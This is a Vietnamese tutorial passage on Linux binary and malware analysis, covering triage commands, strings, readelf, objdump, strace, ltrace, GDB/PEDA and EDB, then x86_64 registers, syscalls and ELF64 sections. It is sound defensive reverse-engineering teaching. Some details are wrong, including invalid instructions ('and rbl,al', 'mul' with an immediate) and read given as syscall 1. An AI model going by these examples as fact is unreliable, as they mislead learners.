  -rwxr-xr-x  1 root root      276 Jan 10  2014 apg
  -rwxr-xr-x  1 root root     9.7K Jul 11  2013 scprofiler
  ...
  

• Lệnh updatedb/locate: Sử dụng kết hợp

  $ sudo updatedb
  $ locate bash
  /bin/bash
  /bin/rbash
  /etc/bash.bashrc
  /etc/bash_completion
  /etc/bash_completion.d
  /etc/apparmor.d/abstractions/bash
  ...
  

• Lệnh ps: List các tiến trình đang chạy

  $ ps -axu
  USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
  root         1  0.0  0.2  24996  4992 ?        Ss   Mar29   0:03 /sbin/init splash
  root         2  0.0  0.0      0     0 ?        S    Mar29   0:00 [kthreadd]
  root         4  0.0  0.0      0     0 ?        I<   Mar29   0:00 [kworker/0:0H]
  root         6  0.0  0.0      0     0 ?        I<   Mar29   0:00 [mm_percpu_wq]
  root         7  0.0  0.0      0     0 ?        S    Mar29   0:00 [ksoftirqd/0]
  root         8  0.0  0.0      0     0 ?        I    Mar29   0:01 [rcu_sched]
  ...
  

• Lệnh which: Thường tìm các vị trí trong biến môi trường $PATH. Một Binary độc hại có thể để tên theo một binary chuẩn nhằm đánh lừa người dùng đồng thời sửa đổi biến môi trường.

  Khi hệ thống chưa bị tấn công:

  \( echo \)PATH
  /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
  $ which ls cat ps
  /bin/ls
  /bin/cat
  /bin/ps
  

  Khi hệ thống đã bị tấn công:

  \( echo \)PATH
  /opt/evil:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
  $ which ls cat ps
  /opt/evil/ls
  /opt/evil/cat
  /opt/evil/ps
  

1.2. Thu thập thông tin

Khi đã xác định được một Binary được cho là độc hại hay nghi ngờ, thì ở bước này mục tiêu là sẽ thu thập nhiều thông tin hữu ích nhất có thể về một Binary. Bước này cực kỳ quan trọng trong toàn bộ quy trình trình phân tích. Để biết được thông tin nào là hữu ích cần thu thập ta đi trả lời các câu hỏi sau:

• Đối với mục đích Phân tích Binary

  • Tệp có thể thực thi được hay không?

  • Tệp có phải Binary (Executable) không?

  • Tệp được viết bằng ngôn ngữ gì? biên dịch bằng Compiler nào?

  • Tệp là ELF hay PE?

  • Tệp có bị Stripped để xóa đi bảng: .symtab, .strtab không?

  • Có thể trích xuất, xác định được bất kỳ strings nào hữu ích từ tệp không?

  • Tệp có đang được chạy không (Process)?

  • Lấy mã băm (SHA1, SHA256) và tìm kiếm xem trước đó đã bị phát hiện là độc hại không?

  • Có thể xác định được bất kỳ chức năng (function) của tệp đc cho là hữu ích không?

  • Các thư viện mà tệp sử dụng là gì?

  • Tệp xuất hiện trên hệ thống hay bị sửa đổi gần nhất vào thời điểm nào?

• Đối với mục đích xác định lỗ hổng cần trả lời thêm

  • Ứng dụng có nhận đầu vào không?

  • Ứng dụng có kiểm tra đầu vào không?

  • Ứng dụng có quản lý bộ nhớ một cách an toàn không?

  • Ứng dụng có sử dụng thư viện, thành phần phụ thuộc của bên thứ 3 không, chúng version nhiêu, được cập nhật không?

  • Ứng dụng được biên dịch như thế nào, có enable/disable các cơ chế bảo vệ không?

  • Có strings nào chứa dữ liệu nhạy cảm được hardcode không?

• Demo các công thu thập thông tin

  Sử dụng file để lấy thông tin cơ bản về tệp:

  $ file ch04-example
  ch04-example: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=be0fc51d5fa6803f3d477cd8eda1e41ecddab29a, not stripped
  

  Sử dụng readelf hoặc objdump để tích xuất thông tin ELF Header

  $ readelf -a ch04-example
  $ objdump -x ch04-example
  

  Sử dụng ldd để trích xuất thông tin các thư viện, các thành phần phụ thuộc:

  $ ldd -v ch04-example
  

  Sử dụng strings để trích xuất các chuỗi:

  $ strings ch04-example
  /lib64/ld-linux-x86-64.so.2
  libc.so.6
  __isoc99_scanf
  __stack_chk_fail
  printf
  strcmp
  HardCodeH
  dPassworH
  Please enter the password to unlock the hidden message:
  The hidden message is '%s'
  Wrong, run the program again...
  ;*3$"
  GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
  ...
  

  Sử dụng hexdump để trích xuất và hiển thị tệp dạng hex, ascii

  $ hexdump -C ch04-example
  

1.3. Phân tích tĩnh

Mục tiêu của phần này là sẽ đi sâu vào phân tích code của binary. Ưu điểm của phân tích tĩnh là cho ta biết hết chương trình có những chức năng gì, hành động gì,.v.v.. mà không cần thực thi chương trình. Nhược điểm là nó đòi hỏi kỹ năng về dịch ngược mức thấp, mã nguồn sẽ được tháo gỡ và tái tạo lại ở dạng Assembly. Ngoài ra khi phân tích còn gặp khó khăn với các kỹ thuật chống phân tích: Packed, Obfuscate,.v.v..

Phần lớn các trường hợp phân tích tĩnh sẽ sử dụng objdump làm công cụ để disassembly. Một số tham số hữu dụng của công cụ này:

• [d, --disassemble]: disassembly các section được gắn flag X, tức là có quyền thực thi

• [D, --disassemble-all]: disassembly tất cả các section

• [M, --disassembler-options=OPT]: định dạng đầu ra theo một dạng cú pháp nào đó, thường sẽ sử dụng cú pháp Intel.

Công cụ ndisasm chỉ hữu ích khi disassembly một đoạn byte, shellcode chứ khi disassembly một tệp tin nó không phân biệt được đâu là header, đâu là code, điều này dẫn đến việc ndisasm phân tích sai cú pháp assembly của chương trình. Ngược lại objdump phân biệt được các header và nó disassembly chính xác các section.

• Ví dụ công cụ phân tích tĩnh

  • Disassemble Binary sử dụng ndisasm:

    $ ndisasm -a -p intel ch04-example
    00000000  7F45              jg 0x47
    00000002  4C                dec sp
    00000003  46                inc si
    00000004  0201              add al,[bx+di]
    00000006  0100              add [bx+si],ax
    00000008  0000              add [bx+si],al
    ...
    

  • Disassemble Binary sử dụng objdump:

    $ objdump -d -M intel ch04-example
    ...
    0000000000400646 <main>:
      400646:       55                      push   rbp
      400647:       48 89 e5                mov    rbp,rsp
      40064a:       48 83 ec 60             sub    rsp,0x60
      40064e:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
    ...
    

1.4. Phân tích động

Mục tiêu của bước này là đi thực thi chương trình một cách có kiểm soát, theo dõi hành vi của chương trình. Phân tích động có ưu điểm là dễ thực hiện, nhanh chóng thấy kết quả,.v.v.. Phân tích động nâng cao sẽ phải debugging Binary, kết hợp đọc mã Assembly, thực thi từng lệnh sau đó quan sát các Register, trạng thái Stack và cách Binary tương tác với hệ thống. Phân tích động cũng sẽ gặp phải các kỹ thuật Anti-Debug, Anti-Sandbox,.v.v..

Một số công cụ sử dụng trong quá trình phân tích động: gdb, edb, ltrace, strace

• Ví dụ công cụ phân tích động

  • Cài đặt PEDA Plugin cho GDB:

    $ git clone https://github.com/longld/peda.git ~/peda
    $ echo "source ~/peda/peda.py" >> ~/.gdbinit
    

  • Sử dụng PEDA cơ bản khi ở trong shell tương tác của GDB, tham khảo: http://ropshell.com/peda/Linux\_Interactive\_Exploit\_Development\_with\_GDB\_and\_PEDA\_Slides.pdf

    • peda help: Show các command mà peda hỗ trợ

    • pdis main: Disassembly hàm main

    • checksec: Show trạng thái các cờ: CANARY, FORTIFY, NX, PIE, RELRO

    • start: Bắt đầu chạy chương trình

    • break main, break * main+127: Đặt một breakpoint tại hàm main hoặc một vị trí tương đối trong hàm main.

    • p/d: Tính toán, như một trình calculator

    • x/wx $esp: Show giá trị các biến hoặc thanh ghi

    • next: Thực thi một lệnh, sẽ làm thay đổi EIP ⇒ trỏ đến lệnh tiếp theo.

    • watch $EAX: Theo dõi một thanh ghi hoặc biến

    • stack 50: In ra nội dung Stack trong khoảng 50

  • Debugging một Binary bằng PEDA:

    $ gdb ch04-example
    break * main+127
    Breakpoint 1 at 0x4006c5
    gdb-peda$ start
    gdb-peda$ run
    

    Kết quả ta dừng tại lệnh call đến hàm printf. Ta thấy PEDA nhận diện được tham số truyền vào hàm là chuỗi: "Please enter the password to unlock the hidden message: ". PEDA có giao diện rất trực quan, dễ hiểu, là một plugin không thể thiếu khi dùng GDB.

    

  • Ngoài ra còn có ltrace và strace sẽ đề cập ở phần sau

1.5. Lặp lại các bước đã phân tích

Bước này sẽ lặp lại quá trình phân tích tĩnh, phân tích động cho đến khi chúng ta giải quyết được vấn đề. Đôi khi một chương trình đi kèm với các thự viện hoặc nó gọi một chương trình khác. Lúc này ta sẽ lặp lại các bước đã thực hiện đối với các chương trình con hoặc thư viện đó.

1.6. Tự động hóa các bước phân tích

Bước này đi xây dựng một công cụ để tự động hóa các bước phân tích tĩnh và thu thập thông tin. Công cụ sẽ tự động disassmbly theo yêu cầu của chúng ta, công việc còn lại sẽ chỉ là đi đọc hiểu kết đầu ra đã được lưu vào tập tin. Công cụ được viết bằng Bash Script

• Source code bac-automation.sh

  #!/bin/bash
  
  # BINARY ANALYSIS AUTOMATION
  # BY - Michael Born
  # DATE - 2019
  
  if [ \(# -lt 2 ] || [\)# -gt 2 ]
  then
      echo "Not enough arguments: usage = $0 <binary file> <output file>";
  
  else
      BINARY=$1;
      OUTPUTFILE=$2;
  
      # SETUP OUTPUT INFORMATION
      echo "This output created by \(USER on \)(date)" |tee $OUTPUTFILE;
      echo |tee -a $OUTPUTFILE;
      echo |tee -a $OUTPUTFILE;
  
     # FILE
      echo "FILE TYPE INFORMATION" | tee $OUTPUTFILE;
      echo |tee -a $OUTPUTFILE
      file \(BINARY |tee -a \)OUTPUTFILE;
      echo |tee -a $OUTPUTFILE;
      echo |tee -a $OUTPUTFILE;
  
      # STRINGS
      echo "STRINGS INFORMATION" |tee -a $OUTPUTFILE;
      echo |tee -a $OUTPUTFILE;
      strings -s "  |  " \(BINARY |tee -a \)OUTPUTFILE;
      echo |tee -a $OUTPUTFILE;
      echo |tee -a $OUTPUTFILE
  
      # READELF
      echo "READELF ALL" |tee -a $OUTPUTFILE;
      echo |tee -a $OUTPUTFILE;
      readelf -a -W \(BINARY |tee -a \)OUTPUTFILE;
      echo |tee -a $OUTPUTFILE;
      echo |tee -a $OUTPUTFILE;
  
      # OBJDUMP
      echo "OBJDUMP EXECUTABLE" |tee -a $OUTPUTFILE;
      echo |tee -a $OUTPUTFILE
      objdump -d -M intel \(BINARY |tee -a \)OUTPUTFILE;
      echo |tee -a $OUTPUTFILE;
      echo |tee -a $OUTPUTFILE;
  fi
  

1.7. Điều chỉnh phương pháp phân tích

Phần này, tôi đi xây dựng một quy trình phân tích Binary chuẩn chung, nó không áp dụng cho mọi trường hợp. Trong quá trình phân tích, với mỗi giai đoạn trong quy trình thực hiện hoàn toàn có thể thay đổi, tùy chỉnh lại sao cho phù hợp.

2. Công cụ Phân tích tĩnh

2.1. Sử dụng FILE

Lệnh file cho biết các thông tin ban đầu về tệp như: loại tệp, trình biên dịch,.v.v.. Một số tham số hữu ích:

• [i, --mime]: Hiển thị Mime Type của tệp

• [f, --files-from FILE]: Đọc danh sách các file cần kiểm tra từ một tệp text

• [F, --separator]: Định dạng đầu ra kết quả, thay vì ngăn cách nhau bằng dấu cách (mặc định) có thể định dạng theo ký tự tùy ý.

2.2. Sử dụng STRINGS

Trích xuất các chuỗi trong một tệp, tùy chỉnh được độ dài tối thiểu của mỗi chuỗi. Thông tin chuỗi đc hardcode vào trong Binary có thể là thông tin nhạy cảm. Một số tham số hữu ích:

• [a - --all]: Mặc định khi chạy, quét toàn bộ tệp

• [d --data]: Chỉ quét Data Section của tệp

• [n --bytes=[number]]: Chỉ định độ dài tối thiểu của chuỗi, mặc định là 4 ký tự

• [f --print-file-name]: Khi quét nhiều tệp cùng một lúc, tham số này sẽ hiển thị tên tệp đằng trước mỗi chuỗi tìm được.

• [s --output-separator=<string>]: Định dạng lại đầu ra kết quả ngăn cách giữa các chuỗi, mặc định ký tự định dạng là \n - xuống dòng mới.

• [t --radix={o,d,x}]: Hiển thị vị trí của chuỗi trong tệp. Vị trí hiển thị theo hệ 8, 10, 16

2.3. Sử dụng READELF

Công cụ đọc cấu trúc tệp ELF, có sẵn trên Linux. Một số tham số hữu ích:

• [a --all]: Show toàn bộ thông tin mà công cụ có thể đọc

• [e --headers]: Kết hợp của: -h -l -S

• [h --file-header]: Show ELF Header

• [l --program-headers]: Show Program Header hay Segment Header

• [S --section-headers]: Show Section Header

• [s --syms]: Show bảng Symbol

• [x --hex-dump=<number|name>] hoặc [R --relocated-dump=<number|name>]: Dump một Section

• [W --wide]: Không ngắt dòng kết quả khi vượt quá 80 ký tự.

2.4. Sử dụng NM

Liệt kê các Symbol của một tệp Binary/Object

• [A, --print-file-name]: Dùng khi quét nhiều tệp, nó sẽ hiển thị tên tệp đầu dòng

• [D, --dynamic]: Hiển thị các Dynamic Symbol, Khi tệp bị stripped nếu dùng tham số này vẫn có thể biết đc Binary gọi hàm nào

• [S, --print-size]: Hiển thị cả kích thước khi định nghĩa Symbol

• [f, --format=FORMAT]: Định dạng đầu ra các Symbol theo các hệ thống: Sysv, Posix, mặc định là BSD.

• [n, --numeric-sort]: Sort các Symbol theo địa chỉ nó tìm thấy

2.5. Sử dụng OBJCOPY

Copy một tệp Binary và có thể tùy chỉnh tệp mới: loại bỏ ELF Header, Loại bỏ symbol,.v.v.. Một số tham số hữu dụng:

• [I --input-target <bfdname>]: Tệp đầu vào

• [O --output-target <bfdname>]: Tệp đầu ra

• [B --binary-architecture <arch>]: Kiến trúc tệp

• [S --strip-all]: Xóa bỏ tất cả các symbol và thông tin về relocation

• [j --only-section]: Sao chép một Section đc chỉ định

2.6. Sử dụng OBJDUMP

Dùng để Disassembly một Binary, sử dụng phần lớn trong quá trình phân tích tĩnh. Một số tham số hữu dụng:

• [x, --all-headers]: Show tất cả các thông tin về header của tệp, tính năng tương tự READELF

• [D, --disassemble-all]: Disassembly tất cả các Section

• [d, --disassemble]: Disassembly những Section được gắn cờ X, có quyền thực thi

• [w, --wide]: Không ngắt dòng khi đầu ra quá 80 ký tự

• [M, --disassembler-options=OPT]: Định dạng cú pháp mã lệnh Assembly của đầu ra, thường dùng cú pháp Intel

2.7. Sử dụng DD

Công cụ này sao chép chính xác từng byte hoặc từng khối bytes tại một thời điểm từ một disk sang thẻ nhớ hoặc sang disk khác. Công cụ này rất hữu dụng khi muốn copy một phần của tệp ra tệp khác. Lấy ví dụ một tệp thực thi ELF được nhúng bên trong một tệp ảnh, lúc này muốn trích xuất tệp ELF ra có thể sử dụng DD để copy đúng các byte của tệp ELF nằm trong tệp ảnh. Ngoài ra DD cũng được dùng để Clone một ổ cứng, một phân vùng, backup dữ liệu,.v.v.. phụ vụ điều tra số máy tính. Ví dụ:

$ dd ibs=1 skip=17087 cbs=1 if=ch05-ctf.png of=ch05-ctf

Giải thích:

• [ibs]: Số byte đọc cùng 1 lúc, mặc định là 512

• [skip]: Số byte bỏ qua

• [cbs]: Số byte sẽ sao chép trong cùng 1 lúc

• [if]: Tệp đầu vào

• [of]: Tệp đầu ra

Việc trích xuất một tệp được nhúng trong một tệp khác có nhiều cách và nhiều công cụ có thể thực hiện, bản chất vẫn là phải xác định được đúng header của tệp, tính toán được kích thước của tệp nhúng bên trong.

3. Công cụ Phân tích động

3.1. Sử dụng LTRACE và STRACE

Hai công cụ này dùng rất nhiều trong giai đoạn đầu của phân tích động, cũng hữu ích trong một số các bài CTF. Chúng theo dõi và logs lại các API Call của một chương trình, một tệp Binary.

LTRACE - Trace library calls: Theo dõi và logs lại các cuộc gọi hàm có trong thư viện. Tham số hữu ích:

• [-T hoặc -t, -tt, -ttt]: Hiển thị thời gian thực hiện cuộc gọi

• [-r]: Hiển thị thời giang tương đối

• [-c]: Đếm thơi gian và số lượng cuộc gọi

• [-f]: Trace cả các cuộc gọi lồng bên trong

• [-i]: Hiển thị địa chỉ lệnh trong thời gian gọi hàm

• [-o]: Lưu kết quả ra file

• [-S]: Trace các cuộc gọi hệ thống (Giống Strace)

• [-e]: Trace theo nhóm các API, tránh nhiễu kế quả. VD: $ ltrace -e opendir+readdir+closedir ./malware.bin

• [-p]: Trace một Process

Một vài ví dụ:

$ ltrace -it -o malware.txt ./malware.bin
$ ltrace -Sit -o malware.txt ./malware.bin

STRACE - Trace system calls and signals: Theo dõi và logs lại các cuộc gọi hệ thống. Các Tham số hữu ích:

• [-r]: Hiển thị relative timestamp

• [-i]: Hiển thị Instruction Pointer

• [-T, -t, -tt]: Hiển thị thời gian

• [-c]: Count, đếm thời gian, số cuộc gọi, lỗi,.v.v..

• [-f, -ff]: Follow forks

• [-x]: In ký tự non-ascii dạng hex

• [-o]: Lưu kết quả ra file

• [-p <PID>]: Trace một Process

• [-e]: trace các api theo một nhóm. VD: \( strace -e trace=open,close,read,write df -h hay \) strace -e trace=process,file,memory,network,signal df -h

Một vài ví dụ:

$ strace -itx -o report.txt ./malware.bin
$ strace -itxC -o report.txt ./malware.bin
$ strace -itx -e trace=process,network -o report.txt ./malware.bin

3.2. Sử dụng GDB

GDB là một công cụ phân tích động nâng cao, một số command hữu ích:

• Thiết lập trước khi Debug: Bước này mặc định sẽ làm cho GDB hiển thị theo cú pháp Intel.

  $ sudo su
  $ echo "set disassembly-flavor intel" >> /etc/gdb/gdbinit
  $ exit
  

• Khởi chạy ở TUI Mode - Chế độ có thể tương tác dòng lệnh, trực quan hơn chế độ mặc định:

  $ gdb --tui -q ch05-example
  

• Thiết lập các layout và tham số:

  (gdb) layout asm
  (gdb) layout regs
  (gdb) set args rot13 TheBrownFoxJumpsThroughTheForest
  (gdb) break main
  (gdb) run
  

• Hiển thị giá trị các thanh ghi, vùng nhớ:

  • (gdb) x/x $eip: Hiển thị dạng Hex giá trị hiện tại của một thanh ghi hoặc ô nhớ

  • (gdb) x/wx \(eip hoặc (gdb) x/xw \)eip: Hiển thị tối đa 4 bytes

  • (gdb) x/gx $eip: Hiển thị tối đa 8 bytes

  • (gdb) x/ws $eip: Word + String ⇒ Hiển thị dạng chuỗi với địa chỉ bắt đầu là một ô nhớ hay giá trị mà thanh ghi đang trỏ đến

  • (gdb) x/4x $eip: Xem 4 đối tượng trong bộ nhớ dạng hex với thanh ghi hoặc địa chỉ ô nhớ là nơi bắt đầu.

• Một số lệnh hữu ích khác:

  • info all-registers: Show giá trị của tất cả các thanh ghi ở thời điểm hiện tại

  • info sources: Show thông tin về các tệp source code

  • nexti: Thực thi lệnh kế tiếp

Sử dụng GDB với PEDA Plugin sẽ hỗ trợ hiển thị tốt hơn rất nhiều, giúp tự động rất nhiều các bước thủ công phải làm ở trên. Xem lại phần trước để biết cách cài đặt, sử dụng PEDA cơ bản.

3.3. Sử dụng EDB

EDB - Evan's Debugger với giao diện người dùng hiện đại, được ví như Ollydbg trên Windows. EDB cũng đi kèm với nhiều Plugin hỗ trợ rất nhiều trong quá trình phân tích binary.

Sử dụng EDB cơ bản:

• Chạy EDB với nhiều cách bằng dòng lệnh:

  • $ edb --run ./ch05-example: Load một Binary vào EDB theo cách thông thường

  • $ edb --run ./ch05-example rot13 TheBrown: Load một Binary vào EDB với tham 2 số đi kèm.

• Hệ thống các Plugin đi kèm: Analyzer, Call Stack, Binary Info, Binary Search, Bookmarks, Breakpoint Manager, DumpState, FasLoader, Function Finder, Heap Analyzer, ROPTool, Symbol Viewer,.v.v..

• Để Patching một lệnh: Tại Disassembly Windows > Righ Click > Asemble hoặc nhấn phím Space

• Một vài lệnh cơ bản:

  • F2: Đặt Breakpoint

  • F3: Mở một tệp

  • Shift+F3: Attack mọt Process

  • F7: Step into

  • F8: Step over

  • F9: Run

  • F11: Pause

  • Ctrl+F9: Run until Return

  • Alt+X: Thoát

1. Các thanh ghi trong x86_64 Assembly

Các thanh ghi trong x86_64 Assembly là sự mở rộng của x86 Assembly từ 32-bits lên 64-bits và các thanh ghi này hoạt động tương tự các thanh ghi 32-bits, khi cần thiết chúng đều có thể được chia nhỏ thành các thanh ghi con 32-bits, 16-bits và 8-bits.

• Nhóm thanh ghi chung: Mở rộng lên 64-bits, vai trò của các thanh ghi không thay đổi, vẫn sẽ có các thanh ghi: RAX, RBX, RCX, RDX, RSI, RDI, RSP, RBP

• Thanh ghi cờ - RFLAGS: Mở rộng lên 64-bits và 32-bits thấp của thanh ghi này vẫn hoạt động như thanh ghi cờ ở x86 Assembly.

• Thanh ghi con trỏ lệnh - RIP: Mở rộng lên 64-bits và hỗ trợ thêm một chế độ địa chỉ mới là: RIP - Relative Addressing.

• Nhóm thanh ghi mới ở x86_64 Assembly: 8 Thanh ghi 64-bits mới được bổ sung: R8, R9, R10, R11, R12, R13, R14, R15. Các thanh ghi này cũng chứa các thanh ghi: 32, 16, 8 bit lần lượt tương ứng hậu tố: D, W, L. Ví dụ R8 có thể chia nhỏ hơn thành R8D (32 bits), R8W (16 bits), và R8L (8 bits).

• Ví dụ các thanh ghi trong x86 Assembly:

  

• Ví dụ các thanh ghi trong x86_64 Assembly:

  

2. Các lệnh thường gặp trong x86_64 Assembly

Các lệnh thường gặp trong x86_64 Assembly hầu hết đều giống với x86 Assembly trình bày ở phần trước. Điểm khác biệt là độ rộng của thanh ghi được tăng lên 64-bits, RIP hỗ trợ Relative addressing. Một số ví dụ:

• Ví dụ lệnh MOV

  mov rax,rbx
  mov rcx,0x1122334455667788
  mov dl,0x11
  mov rax,[r8]
  

• Ví dụ lệnh IC, DEC

  inc eax
  inc rdx
  inc al
  inc [ax]
  
  dec ebx
  dec rbx
  dec bl
  dec [bx]
  

• Ví dụ lệnh ADD, SUB, MUL, DIV

  add ebx,eax
  add bx,ax
  add rax,rbx
  add cl,0x2
  
  sub edx,ecx
  sub dx,cx
  sub rdx,rcx
  sub cl,0x2
  
  mul rdi
  mul bx
  mul cl
  mul 0x1122334455667788
  
  div bx
  div ecx
  div cl
  

• Ví dụ lệnh LEA và XCHG

  lea rax,[rcx+8]
  xchg rdi,rsi
  

• Ví dụ lệnh XOR, AND, OR

  xor rax,rax
  and rbl,al
  or bx,bx
  or cx,0xfff
  

• Ví dụ lệnh PUSH và POP

  push rdi
  pop r12
  

3. x86_64 Assembly System Calls trên Linux

Khi thực hiện một System Call trong x86_64 Assembly sẽ không còn sử dụng NGẮT (INT 0X80) như trước nữa, thay vào đó nó sử dụng lệnh SYSCALL. Quy định về các thanh ghi lưu các tham số cũng khác so với x86 Assembly.

Tra cứu các System Call Number của x86_64 Assembly trong tệp: /usr/include/x86_64-linux-gnu/asm/unistd_64.h

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h
#ifndef _ASM_X86_UNISTD_64_H
#define _ASM_X86_UNISTD_64_H 1

#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
...

Vẫn sử dụng Man Page để tra cứu cách sử dụng một API. Ví dụ với hàm read có System Call Number là 1

$ man 2 read

Kết quả cho biết hàm nhận vào 3 tham số như dưới đây:

READ(2)                                             Linux Programmer's Manual                                             READ(2)

NAME
       read - read from a file descriptor

SYNOPSIS
       #include <unistd.h>

       ssize_t read(int fd, void *buf, size_t count);
...

Các Parameter truyền vào khi gọi hàm tuân theo quy tắc sau đây:

Tham khảo: https://en.wikibooks.org/wiki/X86\_Assembly/Interfacing\_with\_Linux#Via\_dedicated\_system\_call\_invocation\_instruction

Ta có “công thức” cần nhớ:

💡 - x86_64 Assembly thực hiện System Call thông qua lệnh: `SYSCALL` - Thanh ghi RAX/EAX/AX sẽ lưu `System Call Number` và `Result` của System Call. - Các tham số theo thứ tự sau: `RDI, RSI, RDX, R10, R8, R9` - Tra cứu các System Call Number tại: `unistd_64.h` - Tra cứu các API bằng `Man Page` của Linux

4. Phân tích một chương trình x86_64 Assembly đơn giản

• Source code:

    1 ; ch03_helloworld64.asm
    2
    3 global _start
    4 section .text
    5
    6 _start:
    7         ; __NR_write 1
    8         ; ssize_t write(int fd, const void *buf, size_t count);
    9         xor    rax,rax
   10         xor    rdi,rdi
   **11         xor    rsi,rsi**
   12         xor    rdx,rdx
   13         xor    r14,r14
   14         xor    r15,r15
   15         inc    rax
   16         inc    rdi
   17         mov    r14,0x00000a21646c726f
   18         mov    r15,0x57202c6f6c6c6548
   19         push   r14
   20         push   r15
   21         mov    rsi,rsp
   22         mov    dl,0xf
   23         syscall
   24
   25         ; __NR_exit 60
   26         ; void _exit(int status);
   27         xor    rax,rax
   28         xor    rdi,rdi
   29         mov    al,0x3c
   30         syscall
  

• Biên dịch, liên kết và chạy chương trình:

  $ nasm -f elf64 -o ch03-helloworld64.o ch03-helloworld64.asm
  $ ld -o ch03-helloworld64 ch03-helloworld64.o
  $ chmod +x ch03-helloworld64
  $ ./ch03-helloworld64
  Hello, World!
  

• Giải thích chi tiết:

  • Dòng 9, 10, 11, 12, 13, 14: khởi tạo giá trị 0 cho các thanh ghi RAX, RDI, RSI, RDX, R14, R15

  • Dòng 15: RAX = 0x1 ⇒ Tra System Call Number trong unistd_64.h ta được: #define __NR_write 1. Hàm write trong Man Page: ssize_t write(int fd, const void *buf, size_t count); sẽ nhận vào 3 tham số.

  • Dòng 16: RDI = 0x1 ⇒ Đây là tham số đầu tiên của hàm write. Ta có các hằng số định nghĩa File Descriptor như sau: 0=STDIN, 1=STDOUT, 2=STDERR. Vậy trường hợp này fd=STDOUT.

  • Dòng 17, 18: Sao chép dữ liệu dạng Hexa vào các thanh ghi R14, R15

  • Dòng 19, 20: Đẩy dữ liệu của R14, R15 lên Stack. Dựa theo Little-Endian ta decode dữ liệu này như sau:

    $ python
    >>> a = '00000a21646c726f'.decode('hex')
    >>> b = '57202c6f6c6c6548'.decode('hex')
    >>> final = a + b
    >>> final[::-1] # Little-Endian, Reverse bytes
    'Hello, World!\n\x00\x00'
    

  • Nhớ lại chương trình x86 Assembly phần trước, chương trình phải đẩy 4 lần dữ liệu lên Stack trong khi với x86_64 Assembly chỉ với 2 lần. Lý do vì độ rộng của vùng nhớ trên Stack lúc này tăng từ 32-bits lên 64-bits.

  • Dòng 21: RSI lúc này trỏ vào đỉnh Stack, tức là đang trỏ đến chuỗi: 'Hello, World!\n\x00\x00' ⇒ Vậy tham số thứ 2 của hàm write: *buf='Hello, World!\n\x00\x00'

  • Dòng 22: DL = 0xF ⇒ RDX = 0xF ⇒ Vậy tham số cuối cùng hàm write: count=15

  • Dòng 23: Thực hiện System Call

  • Dòng 27, 28: Khởi tạo lại giá trị 0 cho các thanh ghi RAX, RDI

  • dòng 29: AL=0x3C ⇒ RAX=0x3C ⇒ Tra cứu System call number trong unistd_64.h ta được hàm: #define __NR_exit 60. Được mô tả như sau: void exit(int status);

  • Dòng 30: Thực hiện System call với hàm exit với tham số: status=0

• Tóm lại: Ta có thể chia chương trình thành 2 khối thực thi:

  • Khối đầu thực hiện hàm write, khối sau thực hiện hàm exit:

    

    Tham khảo: https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86\_64-64\_bit

  • Khi đó ta được:

    write(fd=1, *buf="Hello, World!\n\0", count=15);
    exit(status=0);
    

5. Cấu trúc tệp ELF64 trên Linux

Cấu trúc tệp ELF64 về so với ELF32 không có sự khác biệt nhiều, chỉ thay đổi một vài thông số cho phù hợp với hệ thống 64-bits. Phần này sẽ không bàn quá nhiều về cấu trúc chi tiết như phần trước về ELF32, phần này tập chung vào sự khác biệt của tệp ELF32/64 sau khi biên dịch của C mà Assembly sau khi biên dịch không có.

Nhìn chung chương trình viết bằng Assembly cho kích thước nhỏ hơn, cấu trúc tệp tinh gọn hơn, không có nhiều thông tin "thừa" đi kèm tệp:

• Chương trình viết bằng Assembly có kích thước bé hơn

  

• Chương trình viết bằng Asembly có ít thông tin hơn về thư viện, trình biên dịch

  

• Tệp ELF của C đi kèm với rất nhiều thông tin: thư viện, compiler, symbols, strings,.v.v.. Đáng chú ý nhất là xuất hiện rất nhiều các Section được trình biên dịch thêm vào:

  • .text: Chứa code thực thi. Khi phân tích Binary chủ yếu tập chung vào Section này.

  • .bss: Chứa dữ liệu (variable) chưa đc khởi tạo giá trị. Phần này nằm trong Data Segment

  • .data: Chứa dữ liệu (variable) đã đc khởi tạo giá trị. Phần này cũng nằm trong Data Segment

  • .rodata: Chứa dữ liệu chỉ đọc (const), và nó đc sử dụng cho các Segment non-writable

  • .shstrtab: Chứa header string table, chứa tên của tất cả các Section trong tệp nhị phân

  • .symtab: Chứa mảng các tham chiếu đến các symbol dc linker và loader sử dụng

  • .strtab: Chứa bảng các chuỗi kết thúc bằng null-terminated

  • .init: Chịu trách nhiệm khởi tạo image tiến trình cho tệp ELF

  • .fini: Chịu trách nhiệm về mã kết thúc cho tiến trình

  • .plt: Chứa Procedure Linkage Table và dữ liệu chuyển hướng các hàm thư viện đến vị trí tuyệt đối của chúng trong bộ nhớ

  • .got: Có thể ghi vào đc, và nó chứa Global Offset Table, resolve các shared library data trong quá trình chạy và còn đc sử dụng với Procedure Linkage Table

  • .got.plt: Hoạt động cùng với Procedure Linkage Table, chứa địa chỉ cho các hàm đc sử dụng bởi Procedure Linkage Table trong quá trình liên kết động

• Một số Segment thường gặp:

  • Text Segment: Chứa một số section như: .text, .rodata, .hash, .dynsym, .dynstr, .plt, .rel.got

  • Data Segment: Có thể ghi vào đc, chứa một số section như: .data, .dynamic, .got, .bss

ReadELF với chương trình viết bằng C:

• Section .rela.plt và bảng .dynsym cho biết chương trình có dùng hàm printf của thư viện GLIBC_2.2.5

  

• Bảng .symtab chứa rất nhiều symbol

  

  Nó cũng cho biết symbol printf được sử dụng với type là FUNC

  

Khi làm việc với Assembly trên Linux thì chúng ta bắt gặp nhiều nhất là hai dạng cú pháp: Intel và AT&T. Có nhiều công cụ khi thực hiện disassembly một ELF file thì mặc định nó sẽ cho đầu ra theo cú pháp AT&T. Tuy nhiên chúng ta sẽ học và làm việc chủ yếu với cú pháp của Intel.
